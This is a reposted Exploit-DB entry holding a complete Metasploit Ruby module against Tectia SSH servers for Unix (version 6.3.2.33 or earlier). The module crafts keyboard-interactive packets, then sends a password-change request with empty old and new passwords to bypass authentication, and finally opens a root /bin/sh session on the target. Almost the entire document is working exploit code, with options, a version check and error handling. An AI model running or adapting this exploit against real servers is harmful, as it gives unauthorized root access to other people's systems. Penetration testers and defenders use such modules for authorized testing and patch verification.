(SSH.com Communications) SSH Tectia – USERAUTH Change Request Password Reset (Metasploit)

  • 作者: Metasploit
    日期: 2012-12-05
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/23156/
  • ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    require 'net/ssh'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::Remote::Tcp
    
    	def initialize(info={})
    		super(update_info(info,
    			'Name' => "Tectia SSH USERAUTH Change Request Password Reset Vulnerability",
    			'Description'=> %q{
    					This module exploits a vulnerability in Tectia SSH server for Unix-based
    				platforms.The bug is caused by a SSH2_MSG_USERAUTH_PASSWD_CHANGEREQ request
    				before password authentication, allowing any remote user to bypass the login
    				routine, and then gain access as root.
    			},
    			'License'=> MSF_LICENSE,
    			'Author' =>
    				[
    					'kingcope',#Original 0day
    					'bperry',
    					'sinn3r'
    				],
    			'References' =>
    				[
    					['EDB', '23082'],
    					['URL', 'http://seclists.org/fulldisclosure/2012/Dec/12']
    				],
    			'Payload'=>
    				{
    					'Compat' =>
    					{
    						'PayloadType'=> 'cmd_interact',
    						'ConnectionType' => 'find'
    					}
    				},
    			'Platform' => 'unix',
    			'Arch' => ARCH_CMD,
    			'Targets'=>
    				[
    					['Unix-based Tectia SSH 6.3.2.33 or prior', {}],
    				],
    			'Privileged' => true,
    			'DisclosureDate' => "Dec 01 2012",
    			'DefaultTarget'=> 0))
    
    		register_options(
    			[
    				Opt::RPORT(22),
    				OptString.new('USERNAME', [true, 'The username to login as', 'root'])
    			], self.class
    		)
    
    		register_advanced_options(
    			[
    				OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
    				OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
    			]
    		)
    	end
    
    	def check
    		connect
    		banner = sock.get_once
    		print_status("#{rhost}:#{rport} - #{banner}")
    		disconnect
    
    		return Exploit::CheckCode::Appears if banner =~ /SSH Tectia/
    		return Exploit::CheckCode::Safe
    	end
    
    	def rhost
    		datastore['RHOST']
    	end
    
    	def rport
    		datastore['RPORT']
    	end
    
    	#
    	# This is where the login begins.We're expected to use the keyboard-interactive method to
    	# authenticate, but really all we want is skipping it so we can move on to the password
    	# method authentication.
    	#
    	def auth_keyboard_interactive(user, transport)
    		print_status("#{rhost}:#{rport} - Going through keyboard-interactive auth...")
    		auth_req_pkt = Net::SSH::Buffer.from(
    			:byte, 0x32, #userauth request
    			:string, user, #username
    			:string, "ssh-connection", #service
    			:string, "keyboard-interactive", #method name
    			:string, "", #lang
    			:string, ""
    		)
    
    		user_auth_pkt = Net::SSH::Buffer.from(
    			:byte, 0x3D, #userauth info
    			:raw, 0x01,#number of prompts
    			:string, "", #password
    			:raw, "\0"*32#padding
    		)
    
    		transport.send_message(auth_req_pkt)
    		message = transport.next_message
    		vprint_status("#{rhost}:#{rport} - Authentication to continue: keyboard-interactive")
    
    		message = transport.next_message
    		vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")
    
    		# USERAUTH INFO
    		transport.send_message(user_auth_pkt)
    		message = transport.next_message
    		vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
    
    		2.times do |i|
    			#USRAUTH REQ
    			transport.send_message(auth_req_pkt)
    			message = transport.next_message
    			vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")
    
    			# USERAUTH INFO
    			transport.send_message(user_auth_pkt)
    			message = transport.next_message
    			vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
    		end
    	end
    
    
    	#
    	# The following link is useful to understand how to craft the USERAUTH password change
    	# request packet:
    	# http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903
    	#
    	def userauth_passwd_change(user, transport, connection)
    		print_status("#{rhost}:#{rport} - Sending USERAUTH Change request...")
    		pkt = Net::SSH::Buffer.from(
    			:byte, 0x32, #userauth request
    			:string, user, #username
    			:string, "ssh-connection", #service
    			:string, "password"#method name
    		)
    		pkt.write_bool(true)
    		pkt.write_string("") #Old pass
    		pkt.write_string("") #New pass
    
    		transport.send_message(pkt)
    		message = transport.next_message.type
    		vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
    
    		if message.to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS
    			transport.send_message(transport.service_request("ssh-userauth"))
    			message = transport.next_message.type
    
    			if message.to_i == 6 #SSH2_MSG_SERVICE_ACCEPT
    				shell = Net::SSH::CommandStream.new(connection, '/bin/sh', true)
    				connection = nil
    				return shell
    			end
    		end
    	end
    
    	def do_login(user)
    		opts = {:user=>user, :record_auth_info=>true}
    		options= Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts)
    		transport= Net::SSH::Transport::Session.new(rhost, options)
    		connection = Net::SSH::Connection::Session.new(transport, options)
    		auth_keyboard_interactive(user, transport)
    		userauth_passwd_change(user, transport, connection)
    	end
    
    	def exploit
    		# Our keyboard-interactive is specific to Tectia.This allows us to run quicker when we're
    		# engaging a variety of SSHD targets on a network.
    		if check != Exploit::CheckCode::Appears
    			print_error("#{rhost}:#{rport} - Host does not seem vulnerable, will not engage.")
    			return
    		end
    
    		c = nil
    
    		begin
    			::Timeout.timeout(datastore['SSH_TIMEOUT']) do
    				c = do_login(datastore['USERNAME'])
    			end
    		rescue Rex::ConnectionError, Rex::AddressInUse
    			return
    		rescue Net::SSH::Disconnect, ::EOFError
    			print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
    			return
    		rescue Net::SSH::Exception => e
    			print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
    			return
    		rescue ::Timeout::Error
    			print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
    			return
    		end
    
    		handler(c.lsock) if c
    	end
    end